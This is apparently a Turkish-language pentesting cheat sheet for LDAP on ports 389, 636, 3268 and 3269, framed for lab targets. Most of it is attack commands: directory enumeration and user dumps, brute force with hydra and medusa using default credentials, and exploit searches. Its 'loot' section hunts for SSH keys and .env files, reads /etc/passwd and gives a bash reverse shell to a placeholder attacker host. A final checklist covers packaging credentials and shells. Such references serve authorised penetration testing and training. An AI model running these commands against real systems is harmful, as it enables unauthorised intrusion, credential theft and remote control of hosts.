389, 636, 3268, 3269 - Pentesting LDAP
LDAP enum
LDAP dizin bilgisi sızdırır. Anon bind veya zayıf cred ile kullanıcı/grup dump. Hedef lab IP’si üzerinde komutları 389 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
389/636.
-
Anon bind.
-
BaseDN enum.
-
Dump.
nmap -Pn -sV -p389,636,3268 TARGETnmap -Pn -p389,636,3268 --script ldap-rootdse,ldap-search TARGETldapsearch -x -H ldap://TARGET -s base namingcontextsldapsearch -x -H ldap://TARGET -b 'dc=domain,dc=local'ldapdomaindump TARGET -u 'DOMAIN\\user' -p passnxc ldap TARGET -u user -p pass --usersDerin enum
Section titled “Derin enum”, 636, 3268, 3269 - LDAP için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p389,636,3268,3269 TARGETnmap -Pn -p389 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:389' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',389));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → , 636, 3268, 3269 - LDAPKimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 389 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 389nmap -p389 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit LDAPmsfconsole -q -x 'search LDAP; exit'nuclei -u https://TARGET:389 -t cves/ -silent -severity || truenuclei -u http://TARGET:389 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 389printf '' | timeout 3 nc -nv TARGET 389curl -vk --http1.0 http://TARGET:389/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”anon/cred bind → dump users → spray/kerberoast